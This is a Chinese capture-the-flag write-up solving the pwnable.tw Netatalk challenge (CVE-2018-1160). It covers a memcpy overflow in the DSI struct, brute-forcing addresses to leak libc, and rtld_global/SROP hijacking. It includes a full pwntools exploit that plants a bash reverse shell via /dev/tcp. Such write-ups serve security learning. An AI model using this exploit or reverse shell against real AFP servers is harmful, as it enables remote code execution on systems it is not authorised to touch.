pwnable.tw | 第3题cve-2018-1106

标签：commands x00 tw cmd 1106 header dsi cve payload

前言

pwnable.tw第三题，开始上难度了，考验的是一款真实程序的漏洞利用。漏洞源于一款开源的苹果AFP协议服务器程序Netatalk，漏洞最早是2018年发现的，2019年在HITCON Quals展示了1day利用，相关文章如下：

2018年漏洞作者的原文翻译：Netatalk CVE-2018-1160的发现与利用
hitcon相关文章：HITCON CTF 2019 Pwn 371 Netatalk

分析

题目附件里有四样东西，afpd是服务器程序，afp.conf是配置文件，剩下两个是库

找了下服务器的启动方法为，在ubuntu18.04环境下运行以下命令

LD_PRELOAD=./libc-2.27.so LD_LIBRARY_PATH=./ ./afpd -d -F ./afp.conf

看了下afpd保护全开，把程序拖入IDA，代码很庞大，有大量的初始化，解析协议包，功能处理的代码，和路由器webserver有点像，那先找一下简单的栈溢出、命令注入有没有，粗略看了下是没有溢出的并且有canary也不好弄，然后通过关键字在程序和库中找到一些命令注入点，但看了下参数是不可控的，思路断了。

既然题目提示写1day，那就去网上找资料学习了，原来漏洞是出在memcpy的时候溢出了一个结构体的字段，漏洞作者说他是在航班上阅读源码的时候发现的，真的牛

既然是开源的1day，咱们也不对着IDA费劲了，直接看源码，大概就是tcp socket建立链接，解析协议字段，收发消息那些东西，我们先分析一遍服务器运行流程

服务器运行流程

客户端建立连接后，服务端会fork出一个子进程同客户端交互，子进程首先从TCP会话中读取DSI header到结构体dsi->header，之后读取DSI payload内容放在dsi->commands指向的buf中，之后子进程会调用dsi_opensession来处理commands中的会话信息，然后调用dsi_stream_receive从当前连接中继续读取消息并保存到dsi->commands中

DSI结构体

DSI结构体保存了会话中的所有信息，其中commands指针指向了客户端发来的的命令消息

typedef struct DSI {
	...
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    ...

dsi_opensession

该函数用于处理DSI结构体中的消息，若commands[0]的值为DSIOPT_ATTNQUANT，则调用memcpy，将大小为commands[1]个字节，从commands[2]指针处拷贝到结构体中的attn_quantum字段

void dsi_opensession(DSI *dsi)
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;

    ......

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); //bug
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }
  ...

dsi_stream_receive

该函数从当前socket继续读取消息并保存在结构体中。具体地，先读取DSI header并保存到dsi->header结构体中，然后读取后续DSI payload保存到dsi->commands指向的buffer当中

int dsi_stream_receive(DSI *dsi)
{
  ...
  /* 将header之后的payload读取到commands指向的内存中 */
  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
    return 0;
   ...

漏洞原理

漏洞出在dsi_opensession函数的memcpy处，未对拷贝的字节数做限制，dsi->commands[i]类型为uint8并且大小是用户可控的，最大可以拷贝255个字节，而dsi->attn_quantum是uint32类型，只占4个字节，可以溢出覆盖DSI结构体内的后续字段，并且dsi->commands+i+1的内容是用户可控的，也就是说我们可以通过溢出来控制DSI结构体内的字段

memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); //bug

这些字段里最重要的当然是commands指针，将其覆盖为任意内容，之后在dsi_stream_receive函数中，会继续向dsi->commands出读入消息，故我们获得了一次任意地址写的机会。需要注意的我们需要在同一个socket中发送两次DSI消息来完成任意地址写：第一次发消息，将commands指针覆盖为目标地址；第二次发消息，往commands指向处写入任意内容。

数据包构建

在利用漏洞之前，我们还需要了解AFP协议格式，如何按照协议格式将数据发送到服务器，才能将我们期望的数据布置到目标结构体。

AFP协议消息分为header + payload，其中header的格式可以从源码中分析出：

/* What a DSI packet looks like:
   0                               32
   |-------------------------------|
   |flags  |command| requestID     |
   |-------------------------------|
   |error code/enclosed data offset|
   |-------------------------------|
   |total data length              |
   |-------------------------------|
   |reserved field                 |
   |-------------------------------|

   CONVENTION: anything with a dsi_ prefix is kept in network byte order.
*/

本题的利用需要在同一个socket内发两个TCP数据包，第一个数据包的payload也分为两部分：cmd_header和cmd_payload，其中cmd_header由两个字节组成，第一个字节为cmd options，当值为DSIOPT_ATTNQUANT（0x01）时才能触发漏洞，第二个字节为cmd_payload长度，可控，使得memcpy越界。

第二个数据包的payload部分，第一个字节是function index，指向afp_switch函数数组中一个单元，设为0即可。构建数据包的代码如下：

def createDSIHeader(command, payload):
    dsi_header = b'\x00'  # dsi_flags, DSIFL_REQUEST
    dsi_header += command  # dsi_command
    dsi_header += b'\x01\x00'  # dsi_requestID
    dsi_header += p32(0)  # dsi_data
    dsi_header += struct.pack(">I", len(payload))  # dsi_len
    dsi_header += p32(0)  # dsi_reserved
    return dsi_header

def replaceCommandPtr(io, addr):
    cmd_payload = p32(0)  # attn_quantum
    cmd_payload += p32(0)  # datasize
    cmd_payload += p32(FLAG_VAL)  # server_quantum
    cmd_payload += p32(0)  # serverID & clientID
    cmd_payload += addr  # **************** commands ptr ****************
    cmd_header = b'\x01'  # DSIOPT_ATTNQUANT
    cmd_header += p8(len(cmd_payload))
    dsifunc_open = b'\x04'  # DSIFUNC_OPEN
    dsi_header = createDSIHeader(dsifunc_open, cmd_header + cmd_payload)
    msg = dsi_header + cmd_header + cmd_payload
    io.send(msg)
    try:
        reply = io.recv()
        return reply
    except:
        return None

def aaw(io, payload):
    dsifunc_cmd = b'\x04'                          # 
    dsi_payload = b'\x00'                          # 
    dsi_payload += payload
    dsi_header = createDSIHeader(dsifunc_cmd, dsi_payload)
    msg = dsi_header + dsi_payload
    io.send(msg)

泄露地址

任意地址写，写got是不可能的，程序开了relro，那考虑写free_hook，需要先泄露libc地址，然而程序并没有泄露地址相关的漏洞。

考虑到这是一个webserver，每一次tcp连接都会fork子进程来同客户端交互，而子进程的内存空间是父进程的拷贝，内存地址都是相同的，故可以采用爆破的方法，不断的去猜测地址，反正子进程崩溃了也不影响，重新再启一个连接，子进程的地址还是一样的，可以继续爆破，其实是利用了服务器程序aslr不够随机化的弱点。

不完全的随机化给了我们爆破的可能性，那我们可以爆破出什么东西呢？

我们先看一下commands指针的初始地址，改地址是由dsi_init_buffer函数初始化的

static void dsi_init_buffer(DSI *dsi)
{
    if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }

    /* dsi_peek() read ahead buffer, default is 12 * 300k = 3,6 MB (Apr 2011) */
    if ((dsi->buffer = malloc(dsi->dsireadbuf * dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }
    dsi->start = dsi->buffer;
    dsi->eof = dsi->buffer;
    dsi->end = dsi->buffer + (dsi->dsireadbuf * dsi->server_quantum);
}

commands指针是由malloc返回的，并且server_quantum的初始值为0x100000L，超过了brk的分配地址，是由mmap分配的内存空间，通过本地调试，可知该地址比libc略高，这个偏移地址在同一系统下是固定的，那我们如果能爆破出一个接近commands指针初始地址的值，就能获取到libc的地址。

接下来再考虑爆破的方法，这里使用了侧信道攻击的理念，通过服务器的返回信息来判断是否爆破成功，在溢出后将commands指针覆盖为一个非法地址，那后续访问该指针会导致子进程崩溃，而如果指针被覆盖为了可写地址，dsi_opensession函数会将server_quantum的值写入指针并返回给客户端。通过客户端收到的数据来判断爆破是否成功。

具体来说，我们可以从低字节开始，按照255-0的顺序，逐个字节爆破commands指针地址，爆破成功后我们可以获得一个高于commands初始指针和libc的地址，并且不会高太多（仍然处于可写的地址范围内），爆破代码如下：

def bruteforce():
    leak_addr = b''
    flag_str = struct.pack('>I', FLAG_VAL)
    # num = 0
    while len(leak_addr) < 6:
        # from 255 to 0 for each byte, get an address that is below libc_base
        for i in range(255, -1, -1):
            io = remote(IP, PORT)
            cur_byte = p8(i)
            addr = leak_addr + cur_byte
            reply = replaceCommandPtr(io, addr)
            if reply is None:
                io.close()
                continue
            if flag_str in reply:
                io.close()
                print('Find! {}'.format(hex(i)))
                leak_addr += cur_byte
                break
    # print(leak_addr)
    mmap_addr = u64(leak_addr.ljust(8, b'\x00'))   # 0x7fxxxxxfff, add 1
    return mmap_addr+1

获得的地址一定高于libc基址，至于高多少我们不清楚，由于内存页是0x1000字节对齐的，libc基址的后三位是0x000，所以用每次减去0x1000的方式去爆破，最后试出libc基地址！

为了提高爆破的速度，有师傅采取的办法是购买日本的linode服务器，在服务器上爆破（靶机是部署在日本的linode服务器上的，在接近的机房中爆破速度会更快）

利用方法

获得libc地址后，通过任意地址写，我们有两种方法可以完成利用

打rtld_global

原理是程序在exit时会调用一个函数指针，该指针和参数都在rtld_global结构体里，只要控制该指针和参数，就能完成任意函数调用。

具体来说，需要打rtlg_global的以下两个成员：

函数指针：_dl_rtld_lock_recursive (_rtld_global+2312)
调用参数：_dl_load_lock (_rtld_global+3840)

rtlg_global结构体位于ld.so中，其相对于libc的偏移在同一环境下是固定的，通过本地搭建和远端相同的的ubuntu18.04，可以获得rtlg_global的相对偏移为0xed2060，加上我们的libc基址即可得到其地址，然后通过任意地址写将函数指针覆盖为"system"，将参数覆盖为反弹shell的命令

第一次做这种服务器类型的题，刚开始不理解为什么参数不直接设置为"/bin/sh"，而要用反弹shel的方式，后面思考了下才想通：普通的ctf题运行在本地，通过socat这类外部程序转发来实现远程交互，getshell后sh子进程覆盖原进程，也继承了原进程的标准输入输出，故可以继续通过外部程序进行远端交互；而服务器类型的程序，程序本身承担了远端交互的功能，如果直接用sh进程覆盖掉，便丢失了远端交互，所以需要用bash反弹shell，维持远端交互

完整EXP如下：

from pwn import *
context(endian='little')

ip   = "chall.pwnable.tw"
port = 10002
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so")

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

def boom():
    leak = b''
    for j in range(8):
        for i in range(256):
            if(j>1 and j<6): i = 255 - i
            io = remote(ip,port)
            payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
            io.send(gen_dsi(payload))
            try:
                a = io.recv()
                leak += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()
    return u64(leak)

leak_addr = boom()
log.success(hex(leak_addr))

for i in range(0x0000000,0xffff000,0x1000):
    libc.address = leak_addr - i
    rtld = libc.address + 0xed2060
    cmd = b'bash -c "bash  -i>& /dev/tcp/ip/port 0<&1"'
    try:
        io = remote(ip,port)
        aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))
        io.close()
    except:
        io.close()

本地监听端口，爆破成功后，还需要等一会才能弹回shell，因为需要等tcp连接timout后，子进程才会调用exit触发利用链

SROP

通过AAW可以覆盖free_hook，还需要想办法控制rdi寄存器，程序里没有直接控制rdi寄存器的gadget，故这里采用SROP的方法，即调用setcontext函数来控参。

setcontext gadget如下，可以控制各个寄存器的值，需要我们能够控制rdi寄存器及其指向的一片区域的内容

libc_dlopen_mode+56 gadget如下，并且dl_open_hook就位于free_hook下方，可以同时覆盖修改

mov     rax, cs:_dl_open_hook
call    qword ptr [rax]

fgetpos64+207 gadget如下

mov rdi, rax ; call qword ptr [rax + 0x20]

通过上述两个gadget，可以将rdi指向dl_open_hook区域附近，该块区域通过AAW可以被我们覆盖为任何值，故实现同时控制rdi及其指向内容的目的

最终通过libc_dlopen_mode+56 -> fgetpos64+207 -> setcontext+53ROP链，可以同时控制eip和rdi寄存器，具体布局如下

之后调用free函数会触发ROP链，将eip置为system，rdi指向反弹shell的命令字符串